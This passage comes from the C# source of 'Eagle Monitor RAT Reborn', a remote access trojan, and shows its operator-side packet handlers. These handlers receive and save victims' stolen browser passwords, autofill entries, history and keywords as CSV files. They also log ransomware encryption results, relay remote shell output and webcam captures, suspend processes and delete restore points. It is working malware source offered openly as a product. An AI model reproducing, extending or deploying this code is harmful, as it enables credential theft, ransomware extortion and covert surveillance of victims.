PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ProcessManagerPacketHandler { public ProcessManagerPacketHandler(ProcessManagerPacket processManagerPacket) : base()//, ClientHandler clientHandler) : base() { try { Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5))); ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Clear(); foreach (Proc proc in processManagerPacket.processes) { int rowId = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[processManagerPacket.BaseIp].ClientForm.processDataGridView.Rows[rowId]; if (proc.processIcon != null) { row.Cells["Column15"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size); } else { row.Cells["Column15"].Value = resized; } row.Cells["Column16"].Value = proc.processId.ToString(); row.Cells["Column17"].Value = proc.processName; row.Cells["Column18"].Value = proc.processWindowTitle; row.Cells["Column19"].Value = proc.processWindowHandle; row.Cells["Column20"].Value = proc.is64Bit; } })); return; } catch { } /* new Thread(() => { try { Bitmap resized = new Bitmap(Properties.Resources.imageres_15.ToBitmap(), new Size((int)(Properties.Resources.imageres_15.ToBitmap().Size.Width / 1.5), (int)(Properties.Resources.imageres_15.ToBitmap().Size.Height / 1.5))); clientHandler.clientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.processDataGridView.Rows.Clear(); foreach (Proc proc in processManagerPacket.processes) { int rowId = clientHandler.clientForm.processDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.processDataGridView.Rows[rowId]; if (proc.processIcon != null) { row.Cells["Column15"].Value = new Bitmap(PacketLib.Utils.ImageProcessing.BytesToImage(proc.processIcon), resized.Size); } else { row.Cells["Column15"].Value = resized; } row.Cells["Column16"].Value = proc.processId.ToString(); row.Cells["Column17"].Value = proc.processName; row.Cells["Column18"].Value = proc.processWindowTitle; row.Cells["Column19"].Value = proc.processWindowHandle; row.Cells["Column20"].Value = proc.is64Bit; } })); return; } catch { } }).Start();*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/ResumeProcessPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class ResumeProcessPacketHandler { public ResumeProcessPacketHandler(ResumeProcessPacket resumeProcessPacket) : base ()//, ClientHandler clientHandler ) : base() { try { if (resumeProcessPacket.resumed) { ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[resumeProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White; })); } } catch { } return; /*try { if (resumeProcessPacket.resumed) { clientHandler.clientForm.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.processDataGridView.Rows[resumeProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.White; })); } } catch { }*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Process/SuspendProcessPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class SuspendProcessPacketHandler { public SuspendProcessPacketHandler(SuspendProcessPacket suspendProcessPacket) : base()//, ClientHandler clientHandler) { try { if (suspendProcessPacket.suspended) { ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[suspendProcessPacket.BaseIp].ClientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red; })); } } catch { } return; /*try { if (suspendProcessPacket.suspended) { clientHandler.clientForm.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.processDataGridView.Rows[suspendProcessPacket.rowIndex].DefaultCellStyle.BackColor = Color.Red; })); } } catch { }*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Ransomware/RansomareEncryptionConfirmationPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RansomareEncryptionConfirmationPacketHandler { public RansomareEncryptionConfirmationPacketHandler(RansomwareConfirmationPacket packet) : base() { System.IO.File.WriteAllText(ClientHandler.ClientHandlersList[packet.BaseIp].ClientPath + "\\Ransomware\\encrypted.json", packet.results); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/AutofillPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using Eagle_Monitor_RAT_Reborn.Misc; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class AutofillPacketHandler { public AutofillPacketHandler(AutofillPacket autofillPacket): base()//, ClientHandler clientHandler) { if (autofillPacket.autofillList != null) { try { if (ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView != null) { ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Clear(); foreach (object[] str in autofillPacket.autofillList) { int rowId = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView.Rows[rowId]; row.Cells["Column21"].Value = str[0].ToString(); row.Cells["Column22"].Value = str[1].ToString(); row.Cells["Column23"].Value = str[2].ToString(); row.Cells["Column24"].Value = str[3].ToString(); row.Cells["Column25"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientForm.autofillDataGridView, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } catch { Utils.ToCSV(autofillPacket.autofillList, ClientHandler.ClientHandlersList[autofillPacket.BaseIp].ClientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } else return; /* new Thread(() => { if (autofillPacket.autofillList != null) { try { if (clientHandler.clientForm.autofillDataGridView != null) { clientHandler.clientForm.autofillDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.autofillDataGridView.Rows.Clear(); foreach (object[] str in autofillPacket.autofillList) { int rowId = clientHandler.clientForm.autofillDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.autofillDataGridView.Rows[rowId]; row.Cells["Column21"].Value = str[0].ToString(); row.Cells["Column22"].Value = str[1].ToString(); row.Cells["Column23"].Value = str[2].ToString(); row.Cells["Column24"].Value = str[3].ToString(); row.Cells["Column25"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(clientHandler.clientForm.autofillDataGridView, clientHandler.clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(autofillPacket.autofillList, clientHandler.clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } catch { Utils.ToCSV(autofillPacket.autofillList, clientHandler.clientPath + "\\Autofill\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Name", "Autofill", "Date created", "Last date used" }); } } else return; }).Start();*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/HistoryPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using Eagle_Monitor_RAT_Reborn.Misc; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class HistoryPacketHandler { public HistoryPacketHandler(HistoryPacket historyPacket) : base()//, ClientHandler clientHandler) : base() { /*new Thread(() => { if (historyPacket.historyList != null) { try { if (clientHandler.clientForm.historyDataGridView != null) { clientHandler.clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.historyDataGridView.Rows.Clear(); foreach (object[] str in historyPacket.historyList) { int rowId = clientHandler.clientForm.historyDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.historyDataGridView.Rows[rowId]; row.Cells["Column5"].Value = str[0].ToString(); row.Cells["Column6"].Value = str[1].ToString(); row.Cells["Column7"].Value = str[2].ToString(); row.Cells["Column8"].Value = str[3].ToString(); row.Cells["Column9"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(clientHandler.clientForm.historyDataGridView, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } catch { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } else return; }).Start();*/ /*Task.Run(() => { if (historyPacket.historyList != null) { try { if (clientHandler.clientForm.historyDataGridView != null) { clientHandler.clientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.historyDataGridView.Rows.Clear(); foreach (object[] str in historyPacket.historyList) { int rowId = clientHandler.clientForm.historyDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.historyDataGridView.Rows[rowId]; row.Cells["Column5"].Value = str[0].ToString(); row.Cells["Column6"].Value = str[1].ToString(); row.Cells["Column7"].Value = str[2].ToString(); row.Cells["Column8"].Value = str[3].ToString(); row.Cells["Column9"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(clientHandler.clientForm.historyDataGridView, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } catch { Utils.ToCSV(historyPacket.historyList, clientHandler.clientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } else return; });*/ if (historyPacket.historyList != null) { try { if (ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView != null) { ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Clear(); foreach (object[] str in historyPacket.historyList) { int rowId = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView.Rows[rowId]; row.Cells["Column5"].Value = str[0].ToString(); row.Cells["Column6"].Value = str[1].ToString(); row.Cells["Column7"].Value = str[2].ToString(); row.Cells["Column8"].Value = str[3].ToString(); row.Cells["Column9"].Value = str[4].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientForm.historyDataGridView, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } catch { Utils.ToCSV(historyPacket.historyList, ClientHandler.ClientHandlersList[historyPacket.BaseIp].ClientPath + "\\History\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Title", "URL", "Date", "Visit count" }); } } else return; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/KeywordsPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using Eagle_Monitor_RAT_Reborn.Misc; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class KeywordsPacketHandler { public KeywordsPacketHandler(KeywordsPacket keywordsPacket) : base()//, ClientHandler clientHandler) { if (keywordsPacket.keywordsList != null) { try { if (ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView != null) { ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Clear(); foreach (object[] str in keywordsPacket.keywordsList) { int rowId = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView.Rows[rowId]; row.Cells["Column26"].Value = str[0].ToString(); row.Cells["Column27"].Value = str[1].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientForm.keywordsDataGridView, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } catch { Utils.ToCSV(keywordsPacket.keywordsList, ClientHandler.ClientHandlersList[keywordsPacket.BaseIp].ClientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } else return; /*new Thread(() => { if (keywordsPacket.keywordsList != null) { try { if (clientHandler.clientForm.keywordsDataGridView != null) { clientHandler.clientForm.keywordsDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.keywordsDataGridView.Rows.Clear(); foreach (object[] str in keywordsPacket.keywordsList) { int rowId = clientHandler.clientForm.keywordsDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.keywordsDataGridView.Rows[rowId]; row.Cells["Column26"].Value = str[0].ToString(); row.Cells["Column27"].Value = str[1].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(clientHandler.clientForm.keywordsDataGridView, clientHandler.clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(keywordsPacket.keywordsList, clientHandler.clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } catch { Utils.ToCSV(keywordsPacket.keywordsList, clientHandler.clientPath + "\\Keywords\\" + Utils.DateFormater() + ".csv", new string[] { "Application", "Keyword" }); } } else return; }).Start();*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Recovery/PasswordsPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; using Eagle_Monitor_RAT_Reborn.Misc; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class PasswordsPacketHandler { public PasswordsPacketHandler(PasswordsPacket passwordsPacket) :base()//, ClientHandler clientHandler) { if (passwordsPacket.passwordsList != null) { try { if (ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView != null) { ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Clear(); foreach (object[] str in passwordsPacket.passwordsList) { int rowId = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView.Rows[rowId]; row.Cells["Column1"].Value = str[0].ToString(); row.Cells["Column2"].Value = str[1].ToString(); row.Cells["Column3"].Value = str[2].ToString(); row.Cells["Column4"].Value = str[3].ToString(); } if (Program.settings.autoSaveRecovery) Utils.ToCSV(ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientForm.passwordsDataGridView, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } catch { Utils.ToCSV(passwordsPacket.passwordsList, ClientHandler.ClientHandlersList[passwordsPacket.BaseIp].ClientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } else return; /*new Thread(() => { if (passwordsPacket.passwordsList != null) { try { if (clientHandler.clientForm.passwordsDataGridView != null) { clientHandler.clientForm.passwordsDataGridView.BeginInvoke((MethodInvoker)(() => { clientHandler.clientForm.passwordsDataGridView.Rows.Clear(); foreach (object[] str in passwordsPacket.passwordsList) { int rowId = clientHandler.clientForm.passwordsDataGridView.Rows.Add(); DataGridViewRow row = clientHandler.clientForm.passwordsDataGridView.Rows[rowId]; row.Cells["Column1"].Value = str[0].ToString(); row.Cells["Column2"].Value = str[1].ToString(); row.Cells["Column3"].Value = str[2].ToString(); row.Cells["Column4"].Value = str[3].ToString(); } if(Program.settings.autoSaveRecovery) Utils.ToCSV(clientHandler.clientForm.passwordsDataGridView, clientHandler.clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv"); return; })); } else { Utils.ToCSV(passwordsPacket.passwordsList, clientHandler.clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } catch { Utils.ToCSV(passwordsPacket.passwordsList, clientHandler.clientPath + "\\Passwords\\" + Utils.DateFormater() + ".csv", new string[] { "URL", "Username", "Password", "Application" }); } } else return; }).Start();*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteShellStdOutPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteShellStdOutPacketHandler { public RemoteShellStdOutPacketHandler(StdOutShellSessionPacket stdOutShellSessionPacket) : base() { if (ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm != null) { try { ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[stdOutShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.AppendText(stdOutShellSessionPacket.shellStdOut); })); } catch { } return; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Shell/RemoteStartShellPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteStartShellPacketHandler { public RemoteStartShellPacketHandler(StartShellSessionPacket startShellSessionPacket) : base() { if (ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm != null) { try { ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2ToggleSwitch.Enabled = false; ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellGuna2TextBox.Enabled = true; ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[startShellSessionPacket.BaseIp].ClientForm.remoteShellStdOutRichTextBox.Text += "\n-------------New session started !-------------\n"; })); } catch { } return; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/DeleteRestorePointPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class DeleteRestorePointPacketHandler { public DeleteRestorePointPacketHandler(DeleteRestorePointPacket deleteRestorePointPacket) : base()//, ClientHandler clientHandler) { try { ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows) { if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index) { ClientHandler.ClientHandlersList[deleteRestorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Remove(row); break; } } })); } catch { } return; /*try { ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { foreach (DataGridViewRow row in ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows) { if (int.Parse(row.Cells[0].Value.ToString()) == deleteRestorePointPacket.index) { ClientHandler.ClientHandlersList[deleteRestorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Remove(row); break; } } })); } catch { } return;*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/UAC/RestorePointPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RestorePointPacketHandler { public RestorePointPacketHandler(RestorePointPacket restorePointPacket) : base()//, ClientHandler clientHandler) { if (restorePointPacket.restorePoints != null) { try { ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Clear(); foreach (RestorePoint restorePoint in restorePointPacket.restorePoints) { int rowId = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.BaseIp].ClientForm.restorePointDataGridView.Rows[rowId]; row.Tag = restorePoint.index; row.Cells["Column42"].Value = restorePoint.index.ToString(); row.Cells["Column43"].Value = restorePoint.description; row.Cells["Column44"].Value = restorePoint.type.ToString(); row.Cells["Column45"].Value = restorePoint.creationTime; } })); } catch { } } else return; /*if (restorePointPacket.restorePoints != null) { try { ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Clear(); foreach (RestorePoint restorePoint in restorePointPacket.restorePoints) { int rowId = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows.Add(); DataGridViewRow row = ClientHandler.ClientHandlersList[restorePointPacket.baseIp].clientForm.restorePointDataGridView.Rows[rowId]; row.Tag = restorePoint.index; row.Cells["Column42"].Value = restorePoint.index.ToString(); row.Cells["Column43"].Value = restorePoint.description; row.Cells["Column44"].Value = restorePoint.type.ToString(); row.Cells["Column45"].Value = restorePoint.creationTime; } })); } catch { } } else return;*/ } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraCapturePacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib; using PacketLib.Packet; using PacketLib.Utils; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteCameraCapturePacketHandler { public RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket remoteCameraCapturePacket) : base()//, ClientHandler clientHandler) { if (ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm != null) { try { ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.BeginInvoke((MethodInvoker)(() => { ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.RemoteWebCamHandler.HasAlreadyConnected = true; if (ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)) != null) ClientHandler.ClientHandlersList[remoteCameraCapturePacket.BaseIp].ClientForm.remoteWebCamPictureBox.Image = ImageProcessing.BytesToImage(Compressor.QuickLZ.Decompress(remoteCameraCapturePacket.cameraCapture)); })); return; } catch { } } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/PacketHandler/Webcam/RemoteCameraPacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.Network; using PacketLib.Packet; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.PacketHandler { internal class RemoteCameraPacketHandler { public RemoteCameraPacketHandler(RemoteCameraPacket remoteCameraPacket) : base()//, ClientHandler clientHandler) : base() { if (ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm != null) { try { ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.BeginInvoke((MethodInvoker)(() => { foreach (string camera in remoteCameraPacket.cameras) { ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.Items.Add(camera); } if (remoteCameraPacket.cameras.Count > 0) ClientHandler.ClientHandlersList[remoteCameraPacket.BaseIp].ClientForm.camerasGuna2ComboBox.SelectedIndex = 0; })); } catch { } return; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Program.cs ================================================ using Eagle_Monitor_RAT_Reborn.Misc; using System; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn { internal static class Program { [STAThread] static void Main() { AppContext.SetSwitch("Switch.UseLegacyAccessibilityFeatures.3", true); //remove auto header selected with full row selected in datagridview AppContext.SetSwitch("Switch.UseLegacyAccessibilityFeatures.2", true); //remove auto header selected with full row selected in datagridview AppContext.SetSwitch("Switch.UseLegacyAccessibilityFeatures", true); //remove auto header selected with full row selected in datagridview Application.EnableVisualStyles(); Application.SetCompatibleTextRenderingDefault(false); mainForm = new MainForm(); Application.Run(mainForm); } internal static MainForm mainForm { get; set; } internal static Settings settings { get; set; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Properties/AssemblyInfo.cs ================================================ using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // Les informations générales relatives à un assembly dépendent de // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations // associées à un assembly. [assembly: AssemblyTitle("Eagle Monitor RAT Reborn")] [assembly: AssemblyDescription("Remote access tool made with love")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("The Remote Control Company")] [assembly: AssemblyProduct("Eagle Monitor RAT Reborn")] [assembly: AssemblyCopyright("Arsium © 2022")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de // COM, affectez la valeur true à l'attribut ComVisible sur ce type. [assembly: ComVisible(false)] // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM [assembly: Guid("76117ffd-c18b-4366-8ce8-0572e7f4fb87")] // Les informations de version pour un assembly se composent des quatre valeurs suivantes : // // Version principale // Version secondaire // Numéro de build // Révision // // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut // en utilisant '*', comme indiqué ci-dessous : // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("3.2.4.0")] [assembly: AssemblyFileVersion("3.2.4.0")] ================================================ FILE: 